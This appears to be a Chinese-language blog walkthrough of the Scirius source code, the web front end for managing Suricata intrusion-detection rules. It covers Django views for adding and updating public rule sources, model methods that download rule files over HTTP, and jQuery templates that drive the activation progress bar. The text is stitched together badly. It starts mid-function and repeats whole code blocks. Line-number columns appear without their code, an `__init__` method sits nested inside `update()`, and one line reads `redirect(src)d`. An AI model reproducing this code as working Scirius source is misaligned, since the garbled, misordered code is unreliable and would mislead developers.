# been put in a changed or unchanged list. So we just care
# about saving the rule.
if len(rules_groups[rule].ips_list) > 0:
rules_groups[rule].group_ips_list = ",".join(rules_groups[rule].ips_list)
rules_groups[rule].rev = rules_groups[rule].next_rev
rules_groups[rule].save()
if len(flowbits["added"]["flowbit"]):
Flowbit.objects.bulk_create(flowbits["added"]["flowbit"])
if len(flowbits["added"]["through_set"]):
Flowbit.set.through.objects.bulk_create(flowbits["added"]["through_set"])
if len(flowbits["added"]["through_isset"]):
Flowbit.isset.through.objects.bulk_create(flowbits["added"]["through_isset"])
rules_update["deleted"] = list(
set(rules_list) -
set(rules_update["added"]).union(set(rules_update["updated"])) -
set(rules_unchanged)
)
source.aggregate_update(rules_update)
rfile.close()


def create_update(self):
# for each set
update = {}
update["deleted"] = self.json_rules_list(self.updated_rules["deleted"])
update["added"] = self.json_rules_list(self.updated_rules["added"])
update["updated"] = self.json_rules_list(self.updated_rules["updated"])
repo = self.get_git_repo(delete=False)
sha = repo.heads.master.log()[-1].newhexsha
# 最后通过SourceUpdate
SourceUpdate.objects.create(
source=self,
created_date=timezone.now(),
data=json.dumps(update),
version=sha,
changed=len(update["deleted"]) + len(update["added"]) + len(update["updated"]),
)


def json_rules_list(self, rlist):
rules = []
for rule in rlist:
rules.append({
"sid": rule.sid,
"msg": rule.msg,
"category": rule.category.name,
"pk": rule.pk}
)
# for each rule we create a json object sid + msg + content
return rules


#该函数回去获取public_source,并写到tmp文件里
def update_ruleset_http(self, f):
proxy_params = get_system_settings().get_proxy_params() if self.use_sys_proxy else None
hdrs = {'User-Agent': 'scirius'}
if self.authkey:
hdrs['Authorization'] = self.authkey

version_uri = None
if self.uri.startswith('https://rules.emergingthreatspro.com/') or \
self.uri.startswith('https://rules.emergingthreats.net/') or \
self.uri.startswith('https://ti.stamus-networks.io/') or \
self.datatype not in ('sigs', 'sig', 'other'):
version_uri = os.path.join(os.path.dirname(self.uri), 'version.txt')

try:
version_server = 1
if version_uri:
resp = requests.get(version_uri, proxies=proxy_params, headers=hdrs, verify=self.cert_verif)
resp.raise_for_status()
version_server = int(resp.content.strip())

if self.version < version_server:
version_uri = None

if version_uri is None:
resp = requests.get(self.uri, proxies=proxy_params, headers=hdrs, verify=self.cert_verif)
resp.raise_for_status()

f.write(resp.content)

if self.version < version_server:
self.version = version_server

return True

except requests.exceptions.ConnectionError as e:
if "Name or service not known" in str(e):
raise IOError("Failure to resolve hostname, please check DNS configuration")
elif "Connection timed out" in str(e):
raise IOError("Connection error 'Connection timed out'")
else:
raise IOError("Connection error '%s'" % (e))
except requests.exceptions.HTTPError:
if resp.status_code == 404:
raise IOError("URL not found on server (error 404), please check URL")
raise IOError("HTTP error %d (%s) sent by server, please check URL or server" % (resp.status_code, resp.reason))
except requests.exceptions.Timeout:
raise IOError("Request timeout, server may be down")
except requests.exceptions.TooManyRedirects:
raise IOError("Too many redirects, server may be broken")
return False


class SourceAtVersion(models.Model):
def test(self):
rule_buffer = self.to_buffer()
# 把所有rule传递给test_rule_buffer判断rule是否合理
return self.test_rule_buffer(rule_buffer)
# to_buffer会把Source里面所有的rule给读取出来
def to_buffer(self):
categories = Category.objects.filter(source=self.source)
rules = Rule.objects.filter(category__in=categories)
file_content = "# Rules file for %s generated by Scirius at %s\n" % (self.name, str(timezone.now()))
rules_content = [rule.content for rule in rules]
file_content += "\n".join(rules_content)
return file_content
def test_rule_buffer(self, rule_buffer, single=False):
# 创建一个tests_rules对象,详细代码见tests_rules.py
testor = TestRules()
tmpdir = tempfile.mkdtemp()
cats_content, iprep_content = self.export_files(tmpdir)
related_files = {}

for root, _, files in os.walk(tmpdir):
for f in files:
fullpath = os.path.join(root, f)
if os.path.getsize(fullpath) < 50 * 1024:
with open(fullpath, 'r') as cf:
related_files[f] = cf.read()
shutil.rmtree(tmpdir)
# 调用check_rule_buffer()函数
return testor.check_rule_buffer(
rule_buffer,
related_files=related_files,
single=single,
cats_content=cats_content,
iprep_content=iprep_content
)

add_public_source.html页面代码及分析如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<!-- 获取source.yaml里面的source和参数 -->
{% for source, params in sources.items %}
<div class="list-group-item">
<div class="list-group-item-header">
<div class="list-view-pf-expand">
<span class="fa fa-angle-right"></span>
</div>
<div class="list-view-pf-actions">
<!-- 如果没有设置了added标签,则设置button为enable,如果设置了added则设置button为disabled -->
{% if not params.added %}
{% if request.user.is_staff %}
<a class="add_source_button" name="{{ source }}" style="cursor: pointer;"><button class="btn btn-default">Enable</button></a>
{% else %}
<button class="btn btn-default" disabled>Available</button>
{% endif %}
{% else %}
<button class="btn btn-default" disabled>Enabled</button>
{% endif %}
</div>
<div class="list-view-pf-main-info">
<div class="list-view-pf-left">
<span class="fa fa-external-link list-view-pf-icon-sm"></span>
</div>
<div class="list-view-pf-body">
<div class="list-view-pf-description">
<div class="list-group-item-heading">
{{ source }}
</div>
<div class="list-group-item-text">
{{ params.summary }}
</div>
</div>
<div class="list-view-pf-additional-info">
<div class="list-view-pf-additional-info-item"> <span class="fa fa-list-alt"> </span> License: {{ params.license }}
</div>
<div class="list-view-pf-additional-info-item">
<span class="fa fa-shield"> </span> Vendor: {{ params.vendor }}
</div>
</div>
</div>
</div>
</div>

<div class="list-group-item-container container-fluid hidden">
<div class="close">
<span class="pficon pficon-close"></span>
</div>
<div class="row">
<div class="col-md-6">
<dl class="dl-horizontal">
{% if params.description %}
<dt>Description</dt><dd>{{ params.description }}</dd>
{% endif %}
<dt>Source URL</dt><dd>{{ params.url }}</a></dd>
{% if params.subscribe_url %}
<dt>Subscribe URL</dt><dd><a href="{{ params.subscribe_url_cleaned }}">{{ params.subscribe_url }}</a></dd>
{% endif %}
{% if params.support_url %}
<dt>Support URL</dt><dd><a href="{{ params.support_url_cleaned }}">{{ params.support_url }}</a></dd>
{% endif %}
</dl>
</div>
</div>
</div>
</div>

import_and_add_source.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
<script>
$( 'document' ).ready(function() {
<!-- 如果update为true则调用update_activate_source -->
{% if update %}
{% if not rulesets %}
update_activate_source({{ source.pk }}, null);
{% else %}
update_activate_source({{ source.pk }}, [ {{ rulesets|join:"," }} ], [ {{ ruleset_list|safeseq|join:"," }} ])
{% endif %}

window.addEventListener("beforeunload", function (e) {
if (!warn_on_exit) {
return;
}
var confirmationMessage = "Warning, leaving page will interrupt source addition mechanism.";

e.returnValue = confirmationMessage; // Gecko, Trident, Chrome 34+
return confirmationMessage; // Gecko, WebKit, Chrome <34
});
{% endif %}
});

function activate_ruleset_from(src_pk, rulesets, ruleset_list, r_length)
{
if (rulesets.length == 0) {
$('#source_progress').width("100%");
$('#source_progress').addClass("progress-bar-success");
$('#source_progress').removeClass("progress-bar-danger");
$('#source_progress').text("Source fully activated.");

$('#init_details').append("<p><a href='{{ source.get_absolute_url }}'>See details of {{ source.name }} source.</a></p>");
warn_on_exit = false;
return;
}
ri = rulesets.pop()
ruleset = ruleset_list.pop()
warn_on_exit = true;
var tgturl = "/rules/source/" + src_pk + "/activate/" + ri;
$.ajax({
url: tgturl,
type: 'POST',
success: function(data) {
if (data == true) {
var progress = 80 + (r_length - rulesets.length) * 20 / rulesets.length;
$('#source_progress').width(progress + "%");
$('#source_progress').text("Source activated in " + ruleset + ".");
$("#init_details").append('<p class="text-success"> <span class="glyphicon glyphicon-ok"></span> Source activated in "' + ruleset + '"</p>');
activate_ruleset_from(src_pk, rulesets, ruleset_list, r_length);
} else {
$('#source_progress').addClass("progress-bar-danger");
$('#source_progress').text("Could not activate source for '" + ruleset + "'.");
$('#init_details').append("<p class='text-danger'> <span class='glyphicon glyphicon-remove'></span> Could not activate source for '" + ruleset + "'.</p>");
warn_on_exit = false;
}
},
error: function(data) {
$('#source_progress').addClass("progress-bar-danger");
$('#source_progress').text("Unable activate source in '" + ruleset + "'.");
var error_actions = '<a href="{{ source.get_absolute_url }}delete"><button class="btn btn-primary" type="submit"><span class="glyphicon glyphicon-trash"> Delete source</span></button></a>'
error_actions += ' <a href="{{ source.get_absolute_url }}"><button class="btn btn-warning" id="continue" type="submit"><span class="glyphicon glyphicon-ok"> Ignore errors and continue</span></button></a>';
$("#init_details").append('<div id="error_actions">' + error_actions + '<div>');
warn_on_exit = false;
}
});
}

function update_activate_source(src_pk, rulesets, ruleset_list)
{
var tgturl = "/rules/source/" + src_pk + "/update";

$('#source_progress').text("Updating source.");
<!-- 通过ajax访问"/rules/source/" + src_pk + "/update" -->
$.ajax({
type:"POST",
url: tgturl,
<!-- 如果后端返回的data['status']为true -->
success: function(data) {
if (data['status'] == true) {
$("#init_details").append('<p class="text-success"> <span class="glyphicon glyphicon-ok"></span></span> Source updated</p>');
$('#source_progress').width("70%");
<!-- 如果成功获取到规则文件,会调用test_source去判断是否可以正常加载且和其他规则匹配 -->
test_source(src_pk, rulesets, ruleset_list);
<!-- 否则定义error_action -->
} else {
$('#source_progress').addClass("progress-bar-danger");
$('#source_progress').text("Could not test source.");
<!-- 把data['error']放到text-danger标签里 -->
$("#init_details").append('<p class="text-danger"> <span class="glyphicon glyphicon-remove"></span> Error during source update: ' + data['errors'] + '</p>');
var error_actions = '<a href="{{ source.get_absolute_url }}delete"><button class="btn btn-primary" type="submit"><span class="glyphicon glyphicon-trash"> Delete source</span></button></a>'
error_actions += ' <a href="{{ source.get_absolute_url }}"><button class="btn btn-warning" id="continue" type="submit"><span class="glyphicon glyphicon-ok"> Ignore errors and continue</span></button></a>';
$("#init_details").append('<div id="error_actions">' + error_actions + '<div>');
warn_on_exit = false;
}
},
error: function(data) {
$('#source_progress').addClass("progress-bar-danger");
$('#source_progress').text("Unable to update source.");
var err_str = 'Error during source update';
if (data.statusText && data.statusText != 'error') {
err_str += ' (' + data.statusText + ')';
}
$("#init_details").append('<p class="text-danger"> <span class="glyphicon glyphicon-remove"> ' + err_str + '</span> </p>');
var error_actions = '<a href="{{ source.get_absolute_url }}delete"><button class="btn btn-primary" type="submit"><span class="glyphicon glyphicon-trash"> Delete source</span></button></a>'
error_actions += ' <a href="{{ source.get_absolute_url }}"><button class="btn btn-warning" id="continue" type="submit"><span class="glyphicon glyphicon-ok"> Ignore errors and continue</span></button></a>';
$("#init_details").append('<div id="error_actions">' + error_actions + '<div>');
warn_on_exit = false;
},
timeout: 240 * 1000
});
}

function test_source(src_pk, rulesets, ruleset_list)
{
var tgturl = "/rules/source/" + src_pk + "/test";

$('#source_progress').text("Testing source.");
$.ajax({
url: tgturl,
success: function(data) {
if (data['status'] == true) {
$("#init_details").append('<p class="text-success"> <span class="glyphicon glyphicon-ok"></span></span> Source is valid</p>');
$('#source_progress').width("80%");
if (! rulesets) {
rulesets = []
}
if ('warnings' in data && data['warnings'][0] != undefined) {
var warning_content = "";
for (i = 0; i < data['warnings'].length; i++) {
warning_content += '<li><span class="text-warning">' + data['warnings'][i]['message'] + '</span></li>';
}
$("#init_details").append('<p class="text-warning"> <span class="glyphicon glyphicon-ok"></span> Source test warnings: <ul>' + warning_content + '</ul></p>');
}
activate_ruleset_from(src_pk, rulesets, ruleset_list, rulesets.length)
} else {
$('#source_progress').addClass("progress-bar-danger");
$('#source_progress').text("Source has errors.");
var error_content = "";
if (data['errors'][0] != undefined) {
for (i = 0; i < data['errors'].length; i++) {
error_content += '<li><span class="text-danger"><strong>' + data['errors'][i]['error'] + '</strong></span>: <span>' + data['errors'][i]['message'] + '</span></li>';
}
} else {
if (data['errors']['message'] != undefined) {
error_content = data['errors']['message'];
} else {
error_content = "Unknown error";
}
}
$("#init_details").append('<p class="text-danger"> <span class="glyphicon glyphicon-remove"></span> Source test failure: <ul>' + error_content + '</ul></p>');
if ('warnings' in data && data['warnings'][0] != undefined) {
var warning_content = "";
for (i = 0; i < data['warnings'].length; i++) {
warning_content += '<li><span class="text-warning">' + data['warnings'][i]['message'] + '</span></li>';
}
$("#init_details").append('<p class="text-warning"> <span class="glyphicon glyphicon-ok"></span> Source test warnings: <ul>' + warning_content + '</ul></p>');
}
var error_actions = '<a href="{{ source.get_absolute_url }}delete"><button class="btn btn-primary" type="submit"><span class="glyphicon glyphicon-trash"> Delete source</span></button></a>'
error_actions += ' <button class="btn btn-warning" id="continue" type="submit"> <span class="glyphicon glyphicon-ok"> Ignore errors and continue</span></button>';
$("#init_details").append('<div id="error_actions">' + error_actions + '</div>');
warn_on_exit = false;
$("#continue").click( function(event) {
$("#error_actions").slideUp();
if (! rulesets) {
rulesets = []
}
activate_ruleset_from(src_pk, rulesets, ruleset_list, rulesets.length)
});
}
},
error: function(data) {
$('#source_progress').addClass("progress-bar-danger");
$('#source_progress').text("Unable to test source.");
$("#init_details").append('<p class="text-danger"> <span class="glyphicon glyphicon-remove"></span> Error during source testing : ' + data.statusText + '</p>');
var error_actions = '<a href="{{ source.get_absolute_url }}delete"><button class="btn btn-primary" type="submit"><span class="glyphicon glyphicon-trash"> Delete source</span></button></a>'
error_actions += ' <a href="{{ source.get_absolute_url }}"><button class="btn btn-warning" id="continue" type="submit"><span class="glyphicon glyphicon-ok"> Ignore errors and continue</span></button></a>';
$("#init_details").append('<div id="error_actions">' + error_actions + '<div>');
warn_on_exit = false;
},
timeout: 1200 * 1000
});

}
</script>

scirius

scirius介绍

scirius为suricata提供了一个web,用来管理规则以及处理告警,我们分析学习一下他的源代码。

先分析主目录的views.py

定义了重定向到kinaba、evebox、moloch的路由,没什么关键函数。我们主要关心的是hunt和manage。

rules

看一下rules目录下的views.py

访问manage页面,主要实现了两个功能

  • suricata状态监控,配置
  • rule管理

规则的管理,先大概了解一下功能

  • /rules/source可以看到规则源
  • /rules/source/add_public可以增加公共规则源
  • /rules/source/add可以编辑自定义规则源
  • /rules/ruleset/add可以新增规则集
  • /rules/ruleset/n/update可以更新规则集
  • /rules/ruleset/n/copy可以复制规则集
  • /rules/ruleset/n/delete可以删除规则集
  • /rules/ruleset/n/edit可以编辑规则集
  • /rules/ruleset/1/edit?mode=sources可以启用/禁用source
  • /rules/ruleset/1/edit?mode=categories可以启用/禁用categories
  • /rules/ruleset/1/addsupprule可以禁用某条rule
  • /rules/ruleset/1/edit?mode=rules可以恢复某条被禁用的rule
  • /rules/category/n/可以查看category
  • /rules/category/n/enable可以启用category
  • /rules/category/n/disable可以禁用category
  • /rules/category/n/transform
  • /rules/rule/pk/n/可以查看rule的定义
  • /rules/rule/pk/n/disable可以禁用rule
  • /rules/rule/pk/n/enable可以启用rule
  • /rules/rule/n/edit
  • /rules/rule/n/disable
  • /rules/rule/n/enable
  • /rules/rule/n/threshold?action=threshold为规则增加触发的阀值
  • /rules/rule/n/threshold?action=suppress过滤某ip触发改规则

    页面如下

edit_ruleset
edit_categories
edit_rule

index

从数据库获取Ruleset和Source的list,但是在index.html没有用到这两个变量

将客户端请求中的search分别取Rule,Category,Ruleset中作查询,并将查询结果转换为tables对象,最后在search.html中利用load和render_tables将数据展示到前段

sources

获取所有的source并展示在前段页面

source

列出某一个source中所有的category

categories

调用utils.py中的scirius_listing((request, Category, assocfn)),而该函数不仅仅会返回Category还会返回assocfn,不知道这是用来干嘛的,先往下看

category

rules是public_source中启用的规则,commented_rules是public_source中默认注释掉的规则,rulesets_status则是category的action,lateral,target属性

elasticsearch

/rules/source/add_public增加公共规则源

/rules/source/add_public页面代码及分析如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
def add_public_source(request):
# 鉴权
if not request.user.is_staff:
return scirius_render(request, 'rules/add_public_source.html', {'error': 'Unsufficient permissions'})

try:
# 调用get_public_sources()
public_sources = get_public_sources()
except Exception as e:
return scirius_render(request, 'rules/add_public_source.html', {'error': e})

if request.is_ajax():
return JsonResponse(public_sources['sources'])
# 当enable一个public source时,会post一个forms
if request.method == 'POST':
# 会创建一个AddPublicSourceForm实例
form = AddPublicSourceForm(request.POST)
if form.is_valid():
source_id = form.cleaned_data['source_id']
source = public_sources['sources'][source_id]
source_uri = source['url']
params = {"__version__": "5.0"}
if 'secret_code' in form.cleaned_data:
params.update({'secret-code': form.cleaned_data['secret_code']})
# uri与secret_code拼接
source_uri = source_uri % params
# 数据库Source表中增加一个对象,Source.objects.create时会触发很多其他的函数
try:
src = Source.objects.create(
name=form.cleaned_data['name'],
uri=source_uri,
method='http',
created_date=timezone.now(),
datatype=source['datatype'],
cert_verif=True,
public_source=source_id,
use_iprep=form.cleaned_data['use_iprep']
)
except IntegrityError as error:
return scirius_render(request, 'rules/add_public_source.html', {'form': form, 'error': error})
# 如果指定了ruleset,则更新ruleset增加一个源
try:
ruleset_list = form.cleaned_data['rulesets']
except:
ruleset_list = []
rulesets = [ruleset.pk for ruleset in ruleset_list]
if len(ruleset_list):
for ruleset in ruleset_list:
UserAction.create(
action_type='create_source',
comment=form.cleaned_data['comment'],
user=request.user,
source=src,
ruleset=ruleset
)
else:
UserAction.create(
action_type='create_source',
comment=form.cleaned_data['comment'],
user=request.user,
source=src,
ruleset='No Ruleset'
)
ruleset_list = ['"' + ruleset.name + '"' for ruleset in ruleset_list]
# 最后返回add_public_source.html模板,而add_public_source.html模板中会判断update是否为True,如果为True则include "rules/import_and_add_source.html",在import_and_add_source》html中会调用update_activate_source这个函数,在后面看一下这个函数的功能
return scirius_render(
request,
'rules/add_public_source.html',
{'source': src, 'update': True, 'rulesets': rulesets, 'ruleset_list': ruleset_list}
)
else:
return scirius_render(
request,
'rules/add_public_source.html',
{'form': form, 'error': 'form is not valid'}
)
# 如果不是post请求,则会把source.yaml中解析出来的sources和Ruleset.objects.all()作为参数传递给add_public_source.html模板
rulesets = Ruleset.objects.all()
return scirius_render(
request,
'rules/add_public_source.html',
{'sources': public_sources['sources'], 'rulesets': rulesets}
)


def get_public_sources(force_fetch=True):
# 路径拼接,找到git-sources文件夹下的sources.yaml
sources_yaml = os.path.join(settings.GIT_SOURCES_BASE_DIRECTORY, 'sources.yaml')
# 如果sources.yaml不存在则调用fetch_public_sources()
if not os.path.exists(sources_yaml) or force_fetch is True:
try:
fetch_public_sources()
except Exception as e:
raise Exception(e)

public_sources = None
# 读取sources.yaml文件
with open(sources_yaml, 'r', encoding='utf-8') as stream:
buf = stream.read()
# replace dash by underscode in keys
yaml_data = re.sub(r'(\s+\w+)-(\w+):', r'\1_\2:', buf)
# FIXME error handling

public_sources = yaml.safe_load(yaml_data)

if public_sources['version'] != 1:
raise Exception("Unsupported version of sources definition")

# get list of already defined public sources
# 获取已经定义了的public sources
defined_pub_source = Source.objects.exclude(public_source__isnull=True)
# 列表表达式获取已经存在在数据库里的源
added_sources = [x.public_source for x in defined_pub_source]

for source_ in public_sources['sources']:
if 'support_url' in public_sources['sources'][source_]:
public_sources['sources'][source_]['support_url_cleaned'] = public_sources['sources'][source_]['support_url'].split(' ')[0]
if 'subscribe_url' in public_sources['sources'][source_]:
public_sources['sources'][source_]['subscribe_url_cleaned'] = public_sources['sources'][source_]['subscribe_url'].split(' ')[0]
if public_sources['sources'][source_]['url'].endswith('.rules'):
public_sources['sources'][source_]['datatype'] = 'sig'
elif public_sources['sources'][source_]['url'].endswith('z'):
public_sources['sources'][source_]['datatype'] = 'sigs'
else:
public_sources['sources'][source_]['datatype'] = 'other'
#这里做了判断,如果这个源已经在Source里了,则设置added标签为True
if source_ in added_sources:
public_sources['sources'][source_]['added'] = True
else:
public_sources['sources'][source_]['added'] = False

return public_sources


def fetch_public_sources():
#翻看rules的model可以看到SystemSettings这个class,其中有use_http_proxy,http_proxy,https_proxy,use_elasticsearch,custom_elasticsearch,elasticsearch_url这几个字段,而get_proxy_params这个函数是用来获取http/https proxy的,但是程序没有直接调用SystemSettings,而是调用get_system_settings(),在这个函数里面会去判断SystemSettings.objects.all()是否存在,如果不存在则创建一个默认的配置
proxy_params = get_system_settings().get_proxy_params()
try:
hdrs = {'User-Agent': 'scirius'}
# 可以看到程序会从https://www.openinfosecfoundation.org/rules/index.yaml这个网站去获取sources.yaml
if proxy_params:
resp = requests.get(settings.DEFAULT_SOURCE_INDEX_URL, proxies=proxy_params, headers=hdrs)
else:
resp = requests.get(settings.DEFAULT_SOURCE_INDEX_URL, headers=hdrs)
resp.raise_for_status()
except requests.exceptions.ConnectionError as e:
if "Name or service not known" in str(e):
raise IOError("Connection error 'Name or service not known'")
elif "Connection timed out" in str(e):
raise IOError("Connection error 'Connection timed out'")
else:
raise IOError("Connection error '%s'" % (e))
except requests.exceptions.HTTPError:
if resp.status_code == 404:
raise IOError("URL not found on server (error 404), please check URL")
raise IOError("HTTP error %d sent by server, please check URL or server" % (resp.status_code))
except requests.exceptions.Timeout:
raise IOError("Request timeout, server may be down")
except requests.exceptions.TooManyRedirects:
raise IOError("Too many redirects, server may be broken")
# 把获取到的yaml文件复制成yaml
# store as sources.yaml
if not os.path.isdir(settings.GIT_SOURCES_BASE_DIRECTORY):
os.makedirs(settings.GIT_SOURCES_BASE_DIRECTORY)
sources_yaml = os.path.join(settings.GIT_SOURCES_BASE_DIRECTORY, 'sources.yaml')
with open(sources_yaml, 'wb') as sfile:
sfile.write(resp.content)


def update_source(request, source_id):
src = get_object_or_404(Source, pk=source_id)
if not request.user.is_staff:
return redirect(src)

if request.method != 'POST': # If the form has been submitted...
if request.is_ajax():
data = {}
data['status'] = False
data['errors'] = "Invalid method for page"
return JsonResponse(data)
return source(request, source_id, error="Invalid method for page")
try:
if hasattr(PROBE.common, 'update_source'):

return PROBE.common.update_source(request, src)
# 调用Source的update方法,具体函数可以去models里看。
src.update()
# 如果update失败则返回error和status为false
except Exception as errors:
if request.is_ajax():
data = {}
data['status'] = False
data['errors'] = str(errors)
return JsonResponse(data)
if isinstance(errors, (IOError, OSError)):
_msg = 'Can not fetch data'
elif isinstance(errors, ValidationError):
_msg = 'Source is invalid'
elif isinstance(errors, SuspiciousOperation):
_msg = 'Source is not correct'
else:
_msg = 'Error updating source'
msg = '%s: %s' % (_msg, errors)
return source(request, source_id, error=msg)

if request.is_ajax():
data = {}
data['status'] = True
data['redirect'] = True
return JsonResponse(data)
supdate = SourceUpdate.objects.filter(source=src).order_by('-created_date')
if len(supdate) == 0:
return redirect(src)d

return redirect('changelog_source', source_id=source_id)


def test_source(request, source_id):
print("test_source")
source = get_object_or_404(Source, pk=source_id)
# models里test函数如下
sourceatversion = get_object_or_404(SourceAtVersion, source=source, version='HEAD')
return JsonResponse(sourceatversion.test())


#models.py
class Source(models.Model):
TMP_DIR = "/tmp/"
@transaction.atomic
def update(self):
# look for categories list: if none, first import
categories = Category.objects.filter(source=self)
firstimport = False
if not categories:
firstimport = True

if self.method not in ['http', 'local']:
raise FieldError("Currently unsupported method")
def __init__(self, *args, **kwargs):
models.Model.__init__(self, *args, **kwargs)
if (self.method == 'http'):
self.update_ruleset = self.update_ruleset_http
else:
self.update_ruleset = None
self.first_run = False
self.updated_rules = {"added": [], "deleted": [], "updated": []}
if len(Flowbit.objects.filter(source=self)) == 0:
self.init_flowbits = True
else:
self.init_flowbits = False

from scirius.utils import get_middleware_module
self.custom_data_type = get_middleware_module('common').custom_source_datatype()

need_update = False
#调用update_ruleset,update_ruleset=update_ruleset_http
if self.update_ruleset:
# 生成规则的临时文件
f = tempfile.NamedTemporaryFile(dir=self.TMP_DIR)
need_update = self.update_ruleset(f)

if need_update:
# 调用不同的函数来处理规则文件,
if self.datatype == 'sigs':
self.handle_rules_in_tar(f)
elif self.datatype == 'sig':
# handle_rules_file里面会调用get_categories,借着会调用get_rules,如果rule不存在则新建rule
self.handle_rules_file(f)
elif self.datatype == 'other':
self.handle_other_file(f)
elif self.datatype == 'b64dataset':
self.handle_b64dataset(f)

if self.datatype in self.custom_data_type:
self.handle_custom_file(f)

if need_update:
if self.datatype in ('sig', 'sigs') and not firstimport:
#调用create_update()记录更新的内容
self.create_update()

if self.datatype in self.custom_data_type:
from scirius.utils import get_middleware_module
source_path = os.path.join(settings.GIT_SOURCES_BASE_DIRECTORY, str(self.pk), 'rules')
get_middleware_module('common').update_custom_source(source_path)

for rule in self.updated_rules["deleted"]:
rule.delete()
self.needs_test()

def create_update(self):
# for each set
update = {}
update["deleted"] = self.json_rules_list(self.updated_rules["deleted"])
update["added"] = self.json_rules_list(self.updated_rules["added"])
update["updated"] = self.json_rules_list(self.updated_rules["updated"])
repo = self.get_git_repo(delete=False)
sha = repo.heads.master.log()[-1].newhexsha
# 最后通过SourceUpdate
SourceUpdate.objects.create(
source=self,
created_date=timezone.now(),
data=json.dumps(update),
version=sha,
changed=len(update["deleted"]) + len(update["added"]) + len(update["updated"]),
)

def json_rules_list(self, rlist):
rules = []
for rule in rlist:
rules.append({
"sid": rule.sid,
"msg": rule.msg,
"category": rule.category.name,
"pk": rule.pk}
)
# for each rule we create a json object sid + msg + content
return rules

#该函数回去获取public_source,并写到tmp文件里
def update_ruleset_http(self, f):
proxy_params = get_system_settings().get_proxy_params() if self.use_sys_proxy else None
hdrs = {'User-Agent': 'scirius'}
if self.authkey:
hdrs['Authorization'] = self.authkey

version_uri = None
if self.uri.startswith('https://rules.emergingthreatspro.com/') or \
self.uri.startswith('https://rules.emergingthreats.net/') or \
self.uri.startswith('https://ti.stamus-networks.io/') or \
self.datatype not in ('sigs', 'sig', 'other'):
version_uri = os.path.join(os.path.dirname(self.uri), 'version.txt')

try:
version_server = 1
if version_uri:
resp = requests.get(version_uri, proxies=proxy_params, headers=hdrs, verify=self.cert_verif)
resp.raise_for_status()
version_server = int(resp.content.strip())

if self.version < version_server:
version_uri = None

if version_uri is None:
resp = requests.get(self.uri, proxies=proxy_params, headers=hdrs, verify=self.cert_verif)
resp.raise_for_status()

f.write(resp.content)

if self.version < version_server:
self.version = version_server

return True

except requests.exceptions.ConnectionError as e:
if "Name or service not known" in str(e):
raise IOError("Failure to resolve hostname, please check DNS configuration")
elif "Connection timed out" in str(e):
raise IOError("Connection error 'Connection timed out'")
else:
raise IOError("Connection error '%s'" % (e))
except requests.exceptions.HTTPError:
if resp.status_code == 404:
raise IOError("URL not found on server (error 404), please check URL")
raise IOError("HTTP error %d (%s) sent by server, please check URL or server" % (resp.status_code, resp.reason))
except requests.exceptions.Timeout:
raise IOError("Request timeout, server may be down")
except requests.exceptions.TooManyRedirects:
raise IOError("Too many redirects, server may be broken")
return False


class SourceAtVersion(models.Model):
def test(self):
rule_buffer = self.to_buffer()
# 把所有rule传递给test_rule_buffer判断rule是否合理
return self.test_rule_buffer(rule_buffer)
# to_buffer会把Source里面所有的rule给读取出来
def to_buffer(self):
categories = Category.objects.filter(source=self.source)
rules = Rule.objects.filter(category__in=categories)
file_content = "# Rules file for %s generated by Scirius at %s\n" % (self.name, str(timezone.now()))
rules_content = [rule.content for rule in rules]
file_content += "\n".join(rules_content)
return file_content
def test_rule_buffer(self, rule_buffer, single=False):
testor = TestRules()
tmpdir = tempfile.mkdtemp()
cats_content, iprep_content = self.export_files(tmpdir)
related_files = {}

for root, _, files in os.walk(tmpdir):
for f in files:
fullpath = os.path.join(root, f)
if os.path.getsize(fullpath) < 50 * 1024:
with open(fullpath, 'r') as cf:
related_files[f] = cf.read()
shutil.rmtree(tmpdir)

return testor.check_rule_buffer(
rule_buffer,
related_files=related_files,
single=single,
cats_content=cats_content,
iprep_content=iprep_content
)

add_public_source.html页面代码及分析如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
